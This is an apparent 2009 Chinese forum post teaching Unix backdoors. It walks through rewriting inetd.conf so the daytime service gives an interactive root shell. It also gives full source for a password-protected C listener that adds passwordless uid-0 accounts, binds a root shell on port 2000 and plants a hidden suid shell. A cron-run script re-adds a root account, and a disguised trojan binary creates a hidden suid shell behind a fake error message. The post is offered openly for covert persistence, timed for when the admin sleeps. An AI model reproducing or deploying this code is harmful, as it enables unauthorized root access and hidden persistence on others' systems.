| 
 帖子16 积分17 威望18  金钱18  在线时间0 小时 
 | 
4楼
 
 发表于 2009-1-24 17:31 
 | 只看该作者 
| 一个比较好的方法之一,就是将用于提供日期时间的服务 daytime 替换为能够产生一个 suid root 的 shell。只要将 /etc/inetd.conf 文件中的: 
 daytime stream tcp nowait root internal
 
 修改为:
 
 daytime stream tcp nowait /bin/sh sh -i.
 
 然后重启(记住:一定要重启)inetd 进程:
 
 killall -9 inetd。
 
 但更好、更隐蔽的方法是伪造网络服务,让它能够在更难以察觉的情况下为我们提供后门,例如口令保护等。如果能够在不通过 telnetd 连接的情况下轻松地进行远程访问,那是再好不过了。方法就是将“自己的”守护程序绑定到某个端口,该程序对外来连接不提供任何提示符,但只要直接输入了正确的口令,就能够顺利地进入系统。以下是这种后门的一个示范程序。(注:这个程序写得并不很完整。)
 
 <++> backdoor/remoteback.c
 /* Coders:
 Theft
 
 Help from:
 Sector9, Halogen
 
 Greets: People: Liquid, AntiSocial, Peak, Grimknight, s0ttle,halogen,
 Psionic, g0d, Psionic.
 Groups: Ethical Mutiny Crew(EMC), Common Purpose hackers(CPH),
 Global Hell(gH), Team Sploit, Hong Kong Danger Duo,
 Tg0d, EHAP.
 Usage:
 Setup:
 # gcc -o backhore backhore.c # ./backdoor password &
 Run:
 Telnet to the host on port 4000. After connected you
 Will not be prompted for a password, this way it is less
 Obvious, just type the password and press enter, after this
 You will be prompted for a command, pick 1-8.
 
 Distributers:
 Ethical Mutiny Crew
 
 */
 
 #include
 #include
 #include
 #include
 #include
 #include
 #include
 #include
 
 
 #define PORT 4000
 #define MAXDATASIZE 100
 #define BACKLOG 10
 #define SA struct sockaddr
 
 void handle(int);
 
 int
 main(int argc, char *argv[])
 {
 int sockfd, new_fd, sin_size, numbytes, cmd;
 char ask[10]="Command: ";
 char *bytes, *buf, pass[40];
 struct sockaddr_in my_addr;
 
 struct sockaddr_in their_addr;
 
 printf("\n Backhore BETA by Theft\n");
 printf(" 1: trojans rc.local\n");
 printf(" 2: sends a systemwide message\n");
 printf(" 3: binds a root shell on port 2000\n");
 printf(" 4: creates suid sh in /tmp\n");
 printf(" 5: creates mutiny account uid 0 no passwd\n");
 printf(" 6: drops to suid shell\n");
 printf(" 7: information on backhore\n");
 printf(" 8: contact\n");
 
 if (argc != 2) {
 fprintf(stderr,"Usage: %s password\n", argv[0]);
 exit(1);
 }
 
 strncpy(pass, argv[1], 40);
 printf("..using password: %s..\n", pass);
 
 
 if ( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
 perror("socket");
 exit(1);
 }
 
 my_addr.sin_family = AF_INET;
 my_addr.sin_port = htons(PORT);
 my_addr.sin_addr.s_addr = INADDR_ANY;
 
 if (bind(sockfd, (SA *)&my_addr, sizeof(SA)) == -1) {
 
 perror("bind");
 exit(1);
 }
 
 if (listen(sockfd, BACKLOG) == -1) {
 perror("listen");
 exit(1);
 }
 
 sin_size = sizeof(SA);
 while(1) { /* main accept() loop */
 if ((new_fd = accept(sockfd, (SA *)&their_addr, &sin_size)) == -1) {
 perror("accept");
 continue;
 }
 if (!fork()) {
 dup2(new_fd, 0);
 dup2(new_fd, 1);
 dup2(new_fd, 2);
 fgets(buf, 40, stdin);
 if (!strcmp(buf, pass)) {
 printf("%s", ask);
 cmd = getchar();
 handle(cmd);
 }
 close(new_fd);
 exit(0);
 }
 close(new_fd);
 while(waitpid(-1,NULL,WNOHANG) > 0); /* rape the dying children */
 }
 }
 
 
 
 void
 handle(int cmd)
 {
 FILE *fd;
 
 switch(cmd) {
 case '1':
 printf("\nBackhore BETA by Theft\n");
 printf("theft@cyberspace.org\n");
 printf("Trojaning rc.local\n");
 fd = fopen("/etc/passwd", "a+");
 fprintf(fd, "mutiny::0:0:ethical mutiny crew:/root:/bin/sh");
 fclose(fd);
 printf("Trojan complete.\n");
 break;
 case '2':
 printf("\nBackhore BETA by Theft\n");
 printf("theft@cyberspace.org\n");
 printf("Sending systemwide message..\n");
 system("wall Box owned via the Ethical Mutiny Crew");
 printf("Message sent.\n");
 break;
 case '3':
 printf("\nBackhore BETA by Theft\n");
 printf("theft@cyberspace.org\n");
 printf("\nAdding inetd backdoor... (-p)\n");
 fd = fopen("/etc/services","a+");
 fprintf(fd,"backdoor\t2000/tcp\tbackdoor\n");
 fd = fopen("/etc/inetd.conf","a+");
 fprintf(fd,"backdoor\tstream\ttcp\tnowait\troot\t/bin/sh -i\n");
 execl("killall", "-HUP", "inetd", NULL);
 printf("\ndone.\n");
 printf("telnet to port 2000\n\n");
 break;
 case '4':
 printf("\nBackhore BETA by Theft\n");
 printf("theft@cyberspace.org\n");
 printf("\nAdding Suid Shell... (-s)\n");
 system("cp /bin/sh /tmp/.sh");
 system("chmod 4700 /tmp/.sh");
 system("chown root:root /tmp/.sh");
 printf("\nSuid shell added.\n");
 printf("execute /tmp/.sh\n\n");
 break;
 case '5':
 printf("\nBackhore BETA by Theft\n");
 printf("theft@cyberspace.org\n");
 printf("\nAdding root account... (-u)\n");
 fd=fopen("/etc/passwd","a+");
 fprintf(fd,"hax0r::0:0::/:/bin/bash\n");
 printf("\ndone.\n");
 printf("uid 0 and gid 0 account added\n\n");
 break;
 case '6':
 printf("\nBackhore BETA by Theft\n");
 printf("theft@cyberspace.org\n");
 printf("Executing suid shell..\n");
 
 execl("/bin/sh");
 break;
 case '7':
 printf("\nBackhore BETA by Theft\n");
 printf("theft@cyberspace.org\n");
 printf("\nInfo... (-i)\n");
 printf("\n3 - Adds entries to /etc/services & /etc/inetd.conf giving you\n");
 printf("a root shell on port 2000. example: telnet 2000\n\n");
 printf("4 - Creates a copy of /bin/sh to /tmp/.sh which, whenever\n");
 printf("executed gives you a root shell. example:/tmp/.sh\n\n");
 printf("5 - Adds an account with uid and gid 0 to the passwd file.\n");
 printf("The login is 'mutiny' and there is no passwd.");
 break;
 case '8':
 printf("\nBackhore BETA by Theft\n");
 printf("\nhttp://theft.bored.org\n");
 printf("theft@cyberspace.org\n\n");
 break;
 default:
 printf("unknown command: %d\n", cmd);
 break;
 }
 }
 <-->
 
 
 [高级]
 
 Crontab 程序对于系统管理员来说是非常有用的。Cron 服务用于计划程序在特定时间(月、日、周、时、分)运行。如果你足够聪明,就应该加以利用,使之为我们制造“后门”!通过 Cron 服务,你可以让它在每天凌晨 3:00 (这个时候网管应该睡觉了吧。)运行后门程序,使你能够轻易进入系统干你想干的事,并在网管起来之前退出系统。根用户的 crontab 文件放在 /var/spool/crontab/root 中,其格式如下:
 
 (1) (2) (3) (4) (5) (6)
 0 0 * * 3 /usr/bin/updatedb
 
 1. 分钟 (0-60)
 2. 小时 (0-23)
 3. 日 (1-31)
 4. 月 (1-12)
 5. 星期 (1-7)
 6. 所要运行的程序
 
 以上内容设置该程序于每星期三 0:0 运行。要在 cron 建立后门,只需在 /var/spool/crontab/root 中添加后门程序即可。例如该程序可以在每天检查我们在 /etc/passwd 文件中增加了用户帐号是否仍然有效。以下是程序示例:
 
 0 0 * * * /usr/bin/retract
 
 <++> backdoor/backdoor.sh
 #!/bin/csh
 
 set evilflag = (`grep eviluser /etc/passwd`)
 
 
 if($#evilflag == 0) then
 
 set linecount = `wc -l /etc/passwd`
 cd
 cp /etc/passwd ./temppass
 @ linecount[1] /= 2
 @ linecount[1] += 1
 split -$linecount[1] ./temppass
 echo "Meb::0:0:Meb:/root:/bin/sh" >> ./xaa
 cat ./xab >> ./xaa
 mv ./xaa /etc/passwd
 chmod 644 /etc/passwd
 rm ./xa* ./temppass
 echo Done...
 else
 endif
 <-->
 
 
 [综合]
 
 当然,我们可以编写木马程序,并把它放到 /bin 目录下。当以特定命令行参数运行时将产生一个 suid shell。以下是程序示例:
 
 <++> backdoor/backdoor3.c
 #include
 #define pass "triad"
 #define BUFFERSIZE 6
 
 int main(argc, argv)
 int argc;
 char *argv[];{
 
 int i=0;
 
 if(argv[1]){
 
 if(!(strcmp(pass,argv[1]))){
 
 
 system("cp /bin/csh /bin/.swp121");
 system("chmod 4755 /bin/.swp121");
 system("chown root /bin/.swp121");
 system("chmod 4755 /bin/.swp121");
 }
 }
 
 printf("372f: Invalid control argument, unable to initialize. Retrying");
 for(;i<10;i++){
 fprintf(stderr,".");
 sleep(1);
 }
 printf("\nAction aborted after 10 attempts.\n");
 return(0);
 }
 <-->
 
 
 [变种]
 | 
 |